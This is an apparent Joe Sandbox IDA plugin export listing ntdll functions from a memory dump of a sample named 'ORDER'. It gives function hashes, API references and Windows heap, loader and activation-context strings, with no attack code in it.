Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4cd2695297737be9b1f61a9e2c8fc582640c9e157b4323f3dd5f16ac0e136384
Instruction ID: 6b52e9e9c72e10933fea14dab2a0b626fa5d72e43f544bb09f8f23784c804484
Opcode Fuzzy Hash: 4cd2695297737be9b1f61a9e2c8fc582640c9e157b4323f3dd5f16ac0e136384
Instruction Fuzzy Hash: CC90023160500402D640715C661874600154BD1201F52D416A0315514DD6698A5976A1

Function 32462B80 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 69eff54cc0090cf4990111c36be46a09fe311b6e63167ffba877f59e2839cdf4
Instruction ID: 63a17006ede981de3c740508f31cc66bfb56ef349e554620a3b064048c32fd47
Opcode Fuzzy Hash: 69eff54cc0090cf4990111c36be46a09fe311b6e63167ffba877f59e2839cdf4
Instruction Fuzzy Hash: 9C90023120100842D600615C5604B8600054BE1301F52C41BA0315614DD625C8557521

Function 324638D0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 469a061e5dd6e2a0501aea723b3030173a46e589d5f97217aa61a463058d1522
Instruction ID: 7ca1c939fc161e6ba76c30df77d13dc1316a1d941d1f8bf3ae04ba61b578cb1b
Opcode Fuzzy Hash: 469a061e5dd6e2a0501aea723b3030173a46e589d5f97217aa61a463058d1522
Instruction Fuzzy Hash: 2E90023124505102D650715C560465640056BE1201F52C426A0B05554DD56588597221

Function 324629D0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f2f482fc6bd614a9816ac3ca084f0fe2dc5f10607ced367855a6d7e66a5939c7
Instruction ID: 5c8a2350151a8bb1c9898b4bf86ce57a7c8039a1cdecaccc47a81dd00bd8e915
Opcode Fuzzy Hash: f2f482fc6bd614a9816ac3ca084f0fe2dc5f10607ced367855a6d7e66a5939c7
Instruction Fuzzy Hash: 189002B1201140924A00A25C9604B4A45054BE1201B52C41BE1345520CD5358855B135

Function 324629F0 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0048d20b58e60f926953ea3c9e6970575479993d8dc9be8f4520a79db842b02e
Instruction ID: 9c0c5b55a087170557b5107ba52b4f1e06cee783748201110b40da6284fc34d0
Opcode Fuzzy Hash: 0048d20b58e60f926953ea3c9e6970575479993d8dc9be8f4520a79db842b02e
Instruction Fuzzy Hash: 86900235211000030605A55C170454700464BD6351352C426F1306510CE63188657121

Function 32462E50 Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7ed2ae5ec58fdbb9da42dcd192bae60f1ae7ea36981c3409ab9a806619dbc957
Instruction ID: 348ced07dd4362ea31a37381ac175739067dfd145c7e4dbc5d6d0c9a818a8b79
Opcode Fuzzy Hash: 7ed2ae5ec58fdbb9da42dcd192bae60f1ae7ea36981c3409ab9a806619dbc957
Instruction Fuzzy Hash: 7290027134100442D600615C5614B4600058BE2301F52C41AE1355514DD629CC567126

Function 32462B20 Relevance: .0, Instructions: 1COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c302c58efd76b85a4ce481e756adcff9e2826d97265cee25fad13d595f16b223
Instruction ID: c3d9aa221953d091c38835bc86f040f9f4a3f11c5d8827b9111ea5b8d25530b9
Opcode Fuzzy Hash: c302c58efd76b85a4ce481e756adcff9e2826d97265cee25fad13d595f16b223
Instruction Fuzzy Hash:

Function 324FA1F0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 285
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlDebugPrintTimes.NTDLL ref: 324FA25D
RtlDebugPrintTimes.NTDLL ref: 324FA2F1
RtlDebugPrintTimes.NTDLL ref: 324FA314
RtlDebugPrintTimes.NTDLL ref: 324FA340
RtlDebugPrintTimes.NTDLL ref: 324FA415
RtlDebugPrintTimes.NTDLL ref: 324FA468
RtlDebugPrintTimes.NTDLL ref: 324FA487
RtlDebugPrintTimes.NTDLL ref: 324FA4B8

Strings

HEAP: , xrefs: 324FA206

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: DebugPrintTimes
String ID: HEAP:
API String ID: 3446177414-2466845122
Opcode ID: f2ed7eb36f2564d00ac6bd7178f2331c11438db704c0d307d76f4bd53e59ff9e
Instruction ID: 70309f3f94ed14dbcd9a2c7b069191934bc4b22730502d3ebad162ffa26ef2a0
Opcode Fuzzy Hash: f2ed7eb36f2564d00ac6bd7178f2331c11438db704c0d307d76f4bd53e59ff9e
Instruction Fuzzy Hash: 80A1C9756043229FD705CF28C894A1AB7E5FBC8B54F04492DEA46DB350EB72EC86CB91

Function 32457550 Relevance: 15.9, APIs: 2, Strings: 7, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 3249454D
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 32494507
CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 32494460
Execute=1, xrefs: 3249451E
CLIENT(ntdll): Processing section info %ws..., xrefs: 32494592
ExecuteOptions, xrefs: 324944AB
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 32494530

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 0-484625025
Opcode ID: cb2b96a8454cbca6ba65e14ee0fab67bf4d4f8d5886ae3f52258d6f502edbeff
Instruction ID: 685ccd2c54678043636b650156827762a67b35b2359550785cd445841b4bd789
Opcode Fuzzy Hash: cb2b96a8454cbca6ba65e14ee0fab67bf4d4f8d5886ae3f52258d6f502edbeff
Instruction Fuzzy Hash: F5510671A013197AEF109EA4ED94FED77A8EF08754F5004F9EA45A7280EB709A85CF60

Function 3243A170 Relevance: 12.7, APIs: 1, Strings: 6, Instructions: 404COMMON

Download Yara Rule

Strings

SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 32487807
RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section, xrefs: 324878F3
RtlpFindActivationContextSection_CheckParameters, xrefs: 324877DD, 32487802
Actx , xrefs: 32487819, 32487880
SsHd, xrefs: 3243A304
SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 324877E2

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: Actx $RtlFindActivationContextSectionString() found section at %p (length %lu) which is not a string section$RtlpFindActivationContextSection_CheckParameters$SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx.$SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx.$SsHd
API String ID: 0-1988757188
Opcode ID: a162f2e2f3bd1a6db6e4277145ab0433f0d01dfad2914e2ddba9ee75f27425dd
Instruction ID: 2692ebe29d4e5aa7089ced8950b2903c04319600c08082c52f4bb7482ab0d2c6
Opcode Fuzzy Hash: a162f2e2f3bd1a6db6e4277145ab0433f0d01dfad2914e2ddba9ee75f27425dd
Instruction Fuzzy Hash: 59E106796453218FE706CF24C99075A77E1BF88368F104A2DEE65CB390DB72D895CB82

Function 3243D690 Relevance: 12.6, APIs: 1, Strings: 6, Instructions: 372timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32489299

Strings

SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 32489178
RtlpFindActivationContextSection_CheckParameters, xrefs: 3248914E, 32489173
Actx , xrefs: 32489315
GsHd, xrefs: 3243D794
SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx., xrefs: 32489153
RtlFindActivationContextSectionGuid() found section at %p (length %lu) which is not a GUID section, xrefs: 32489372

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Actx $GsHd$RtlFindActivationContextSectionGuid() found section at %p (length %lu) which is not a GUID section$RtlpFindActivationContextSection_CheckParameters$SXS: %s() flags contains return_assembly_metadata but they don't fit in size, return invalid_parameter 0x%08lx.$SXS: %s() flags contains return_flags but they don't fit in size, return invalid_parameter 0x%08lx.
API String ID: 3446177414-2196497285
Opcode ID: 95eff07b70455f2d17392af09612b5219da51cfea85cfb37d880f8125243be52
Instruction ID: 8aa322b054818cafd0103fe93eee77c6b53aa547dd2bbcd82b6a9b062b88475e
Opcode Fuzzy Hash: 95eff07b70455f2d17392af09612b5219da51cfea85cfb37d880f8125243be52
Instruction Fuzzy Hash: A8E1D174609741DFE706CF14C880B5AB7E4BF8C758F404A2DEAA58B381DB71E895CB92

Function 3249FA02 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 109timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 3249FAF3
RtlDebugPrintTimes.NTDLL ref: 3249FB15

Strings

LdrpRedirectDelayloadFailure, xrefs: 3249FA5E
Failed to find export %s!%s (Ordinal:%d) in "%wZ" 0x%08lx, xrefs: 3249FA58
$, xrefs: 3249FABD
minkernel\ntdll\ldrdload.c, xrefs: 3249FA68
Unknown, xrefs: 3249FA42, 3249FA54

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $$Failed to find export %s!%s (Ordinal:%d) in "%wZ" 0x%08lx$LdrpRedirectDelayloadFailure$Unknown$minkernel\ntdll\ldrdload.c
API String ID: 3446177414-4227709934
Opcode ID: d8e495db70caec93d412abcd154224156d15346c352ca643fff9b8ca6cf82d52
Instruction ID: bf382b62741db2a269fcfb0ce77492eee2ab9896c86ddb953d8b3ac733f40db4
Opcode Fuzzy Hash: d8e495db70caec93d412abcd154224156d15346c352ca643fff9b8ca6cf82d52
Instruction Fuzzy Hash: AF4146B9A01209ABDF01CF99C984ADEBFB5BF48754F124069ED04A7350DB71AA81CB90

Function 32429046 Relevance: 10.7, APIs: 3, Strings: 3, Instructions: 199timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32482360

Strings

$, xrefs: 324290B1
@, xrefs: 32429095
@wEw, xrefs: 3248245B

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: DebugPrintTimes
String ID: $$@$@wEw
API String ID: 3446177414-2435863765
Opcode ID: c187999ac4bb4b157dd1fac7bd58093c3ec49e89fb1392e1c83a81353e350610
Instruction ID: 385f833fb5e9f28f52d5234b88c8d036858de4856b21398c4c7490a0be9522af
Opcode Fuzzy Hash: c187999ac4bb4b157dd1fac7bd58093c3ec49e89fb1392e1c83a81353e350610
Instruction Fuzzy Hash: 35814BB1D012699BDB25CF54CC40BDEB7B8AF08714F1041EAEA09B7240EB719E85CFA0

Function 32416565 Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 184timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 32416614
RtlDebugPrintTimes.NTDLL ref: 3241665F

Strings

Loading the shim DLL "%wZ" failed with status 0x%08lx, xrefs: 32479843
LdrpLoadShimEngine, xrefs: 3247984A, 3247988B
minkernel\ntdll\ldrinit.c, xrefs: 32479854, 32479895
Initializing the shim DLL "%wZ" failed with status 0x%08lx, xrefs: 32479885

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Initializing the shim DLL "%wZ" failed with status 0x%08lx$LdrpLoadShimEngine$Loading the shim DLL "%wZ" failed with status 0x%08lx$minkernel\ntdll\ldrinit.c
API String ID: 3446177414-3589223738
Opcode ID: 1c69f7e755dfb2459d9364985593bea9e415858cf69e9b5859d375f1e26021eb
Instruction ID: b700472ad663623edb5f38a1eb1cdda5f2908501cfc9ce0f2cfd7822178622f8
Opcode Fuzzy Hash: 1c69f7e755dfb2459d9364985593bea9e415858cf69e9b5859d375f1e26021eb
Instruction Fuzzy Hash: 74511135A113549FEB04DFA8C854BDD77A6AF48704F450569E921BF295CBB0EE82CB80

Function 3244DA20 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 133timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 3248F41B

Strings

HEAP: , xrefs: 3248F451
HEAP[%wZ]: , xrefs: 3248F444
Invalid heap signature for heap at %p, xrefs: 3248F45D
, passed to %s, xrefs: 3248F46C
RtlUnlockHeap, xrefs: 3248F467

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: DebugPrintTimes
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlUnlockHeap
API String ID: 3446177414-3224558752
Opcode ID: 89eef14576908173e325394e33347c6781302c7776a9aa6ec073a58a2556fee5
Instruction ID: 5ee2ef24077b08b802d337d29004705d4f21834ebe1df8b859256afcfc0c9e1c
Opcode Fuzzy Hash: 89eef14576908173e325394e33347c6781302c7776a9aa6ec073a58a2556fee5
Instruction Fuzzy Hash: B3414534620701EFF712CF64C444B5AB7A4FF44764F1189AAE805A7781CF79A982CB91

Function 3244DAC0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 84timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 3248F561

Strings

HEAP: , xrefs: 3248F597
HEAP[%wZ]: , xrefs: 3248F58A
Invalid heap signature for heap at %p, xrefs: 3248F5A3
RtlLockHeap, xrefs: 3248F5AD
, passed to %s, xrefs: 3248F5B2

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: DebugPrintTimes
String ID: , passed to %s$HEAP: $HEAP[%wZ]: $Invalid heap signature for heap at %p$RtlLockHeap
API String ID: 3446177414-1222099010
Opcode ID: c0aab69e37f2cb672a77e898af82ca81540e07ad43c0a87326da6705571daa47
Instruction ID: 0900367d9d4c0b54c23a5475f203184b0b5792713b07a6e825492ee8a4aa73b6
Opcode Fuzzy Hash: c0aab69e37f2cb672a77e898af82ca81540e07ad43c0a87326da6705571daa47
Instruction Fuzzy Hash: 773136752217C4EFF726CF24C408F4977E4EF05764F064499E84157B92CFBAAA82CA51

Function 3244EE48 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 347COMMON

Download Yara Rule

Strings

D2, xrefs: 3244EF43, 3244F05D, 3248FDD2, 3248FD90, 3248FD9B

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: D2
API String ID: 0-829058886
Opcode ID: 174d62665f76eba8451648c436c7cf58e7d2c379aa2b40dc67e4e81c635e6bc2
Instruction ID: 48b54a9432b1f9b9be27d9536223ee674df73823f2b8743a4efe30dc097dd81d
Opcode Fuzzy Hash: 174d62665f76eba8451648c436c7cf58e7d2c379aa2b40dc67e4e81c635e6bc2
Instruction Fuzzy Hash: 04E1EF75E00708DFEB25CFA9C980A9DBBF1BF48304F21452AE956A7760DB71A981CF50

Function 3241F8B0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 263timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 3247E51F

Strings

HEAP: , xrefs: 3247E49D
HEAP[%wZ]: , xrefs: 3247E490
(HeapHandle != NULL), xrefs: 3247E4A8

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: DebugPrintTimes
String ID: (HeapHandle != NULL)$HEAP: $HEAP[%wZ]:
API String ID: 3446177414-3610490719
Opcode ID: ccad8da3bca209ef241da8200428c8f667f898e1ded375505098dcb64730035b
Instruction ID: 01bfc29b4a4d0986f8212c3dda1941da6fd4c153e49c34e62d0caafb6ca8b564
Opcode Fuzzy Hash: ccad8da3bca209ef241da8200428c8f667f898e1ded375505098dcb64730035b
Instruction Fuzzy Hash: F2912371314750AFE71ADF28C840B6AB7A5BF48B44F050559E9609B386DB78F883CBD2

Function 324A5B90 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 80timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 324A5C0F
RtlDebugPrintTimes.NTDLL ref: 324A5C31
RtlDebugPrintTimes.NTDLL ref: 324A5C3E

Strings

Wow64 Emulation Layer, xrefs: 324A5C09

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: DebugPrintTimes
String ID: Wow64 Emulation Layer
API String ID: 3446177414-921169906
Opcode ID: 35a384e6b6e982fed0ae8d77aebccc134786bce51c7d142baa9f8486e87928b8
Instruction ID: ac46f616d63f248c652638fbde7023587bdf17794ae043a1fa2a50ca009ad7ea
Opcode Fuzzy Hash: 35a384e6b6e982fed0ae8d77aebccc134786bce51c7d142baa9f8486e87928b8
Instruction Fuzzy Hash: 62210876A0115DBFEB029BA1DD88CFF7B7CEF58699B004058FA11A2104DB31AE51DB60

Function 3249EBC0 Relevance: 6.2, APIs: 4, Instructions: 158timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 3249EEED
RtlDebugPrintTimes.NTDLL ref: 3249EF12
RtlDebugPrintTimes.NTDLL ref: 3249EFA4
RtlDebugPrintTimes.NTDLL ref: 3249EFF8

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID: DebugPrintTimes
String ID:
API String ID: 3446177414-0
Opcode ID: bb1ab483e9e1a8db411db8098361fa8149e4251f8c8368060e0509299407b03e
Instruction ID: 559b861c73f6bd3658508725c4bf591a032c398f23d09118c45955247877bd0e
Opcode Fuzzy Hash: bb1ab483e9e1a8db411db8098361fa8149e4251f8c8368060e0509299407b03e
Instruction Fuzzy Hash: C25133B1E01318AFDF08CF95D945ADDBBB5BF48354F05812AE805AB290DB31A941CF94

Function 324258E0 Relevance: 5.7, APIs: 2, Strings: 1, Instructions: 494COMMON

Download Yara Rule

Strings

@, xrefs: 324808AE

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 6f31f4743e4c927b2431511b924afdaf54178f19991bec4128e471b6192e56ed
Instruction ID: ef9fac587cd1d4762ffe7b256f662f496578141ec92f0fc51b23f91725e3b527
Opcode Fuzzy Hash: 6f31f4743e4c927b2431511b924afdaf54178f19991bec4128e471b6192e56ed
Instruction Fuzzy Hash: 9A324574D10369DFEB29CF65C984BD9BBB0BF08304F0080E9D949A7241EBB59A85CF91

Function 324C8B90 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 298COMMON

Download Yara Rule

Strings

HEAP: , xrefs: 324C8B9E
{L2, xrefs: 324C8EBE

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: HEAP: ${L2
API String ID: 0-3243362235
Opcode ID: a933d0165c3d385ca5e543c73725e62853c97675fc5fbd532c0331e59dceced0
Instruction ID: 8997367ed1e53ba5d4b4124d05ecfa4fce5a9e7fd1cc44a56acc0a017fc4ca1a
Opcode Fuzzy Hash: a933d0165c3d385ca5e543c73725e62853c97675fc5fbd532c0331e59dceced0
Instruction Fuzzy Hash: A4B1CDB9609321AFD711CF28D880A5BBBE5BF84758F404A2EF995DB350DB30D944CB92

Function 32454B79 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 164COMMON

Download Yara Rule

Strings

0, xrefs: 32454BE3
Flst, xrefs: 32454BB6

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

Associated: 00000003.00000002.32882001004.0000000032519000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.32882001004.000000003251D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_323f0000_ORDER.jbxd

Similarity

API ID:
String ID: 0$Flst
API String ID: 0-758220159
Opcode ID: 924dd0bfb545367e5309797a56f6dc4acdf71dd98bfa0623b22359ff9d3c66d8
Instruction ID: 4e7fa18e9c6c81380bdabef188ccf25957e136f24561b3687c7300d630481f80
Opcode Fuzzy Hash: 924dd0bfb545367e5309797a56f6dc4acdf71dd98bfa0623b22359ff9d3c66d8
Instruction Fuzzy Hash: 8E51AFB5E012488FEB26CF96D48479DFBF4EF85754F25842DD4859F240EBB09981CB90

Function 3241E67A Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 109timeCOMMON

Download Yara Rule

APIs

RtlDebugPrintTimes.NTDLL ref: 3241E709

Strings

^A2, xrefs: 3247D957, 3247D9A0, 3241E6C1

Memory Dump Source

Source File: 00000003.00000002.32882001004.00000000323F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 323F0000, based on PE: true

